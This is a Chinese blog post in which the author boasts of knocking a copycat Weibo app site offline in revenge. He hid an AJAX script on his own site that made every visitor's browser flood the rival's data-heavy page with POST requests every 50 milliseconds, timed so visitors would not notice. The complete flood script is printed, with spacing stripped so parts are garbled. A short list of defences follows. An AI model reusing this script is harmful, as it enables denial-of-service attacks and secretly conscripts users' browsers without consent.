基于js的CC攻击实现与防御
前段时间开发了一个微博应用站,人气还不错,可不久就被人山寨了,连名字都一模一样,气不过就想到了报复。
因为整个网站全是基于腾讯api接口的,入侵短时间基本没可能性,我等小菜也没肉鸡DDoS。
突然想到了半年前不知道在哪看过一篇关于CC攻击原理分析的文章,我邪恶的想到了似乎用ajax也可以实现。
简单说cc攻击就是通过大量肉鸡模拟正常用户对网站某个需要获取大量数据的网页发送数据包,导致服务器崩溃。
其最重要的就是肉鸡,网站一般都有上千人同时在线,于是他们都成为了我的“肉鸡”~
我写了一段攻击代码放网站上,只要用户访问网站就会自动不断的通过ajax向指定页面发送post数据包,半个小时后对方网站基本over了。
当然,攻击的页面是我先选好了的需要获取数据量比较大的页面,这个很重要。
而且由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别。
但缺点也是因为跨域限制,在IE下会弹出警告没有权限或需要授权,所以我在代码中if了ie浏览器下不执行函数。
如果你有pv大的shell的话这个不是问题,现在用非IE人已经很多了,我在忽略IE用户的情况下也只用了半个小时就o了。
下面是ajax攻击代码,间隔时间可以根据需要自己调整,我设置的是50毫秒一次。
vart_postdata=''id=datadatadatadatadata'';//数据越大效果越好。
vart_url=''http://www.xxx.com/test.php'';
functionc_xmlHttp()
{
if(window.ActiveXObject)
{
xmlHttp=newActiveXObject(''Microsoft.XMLHTTP'');
}
elseif(window.XMLHttpRequest)
{
xmlHttp=newXMLHttpRequest();
}
returnxmlHttp;
}
functionpost_send()
{
varxmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url,true);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
functionr_send()
{
setTimeout("post_send()",50);//50毫秒一次
}
if(!+[1,])//IE下不执行。
{varfghj=1;}
else
{setTimeout("post_send()",3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
防御办法:
1,对数据量比较大的页面使用缓存,尽量减少数据库连接。
2,对每个访问者设置ipcookie,限制时段内访问次数。
3,对每个用户设置session,限制时段内访问次数。
4,缩短Timeout时间,这样当连接过多就会自动丢弃一部分。
|
|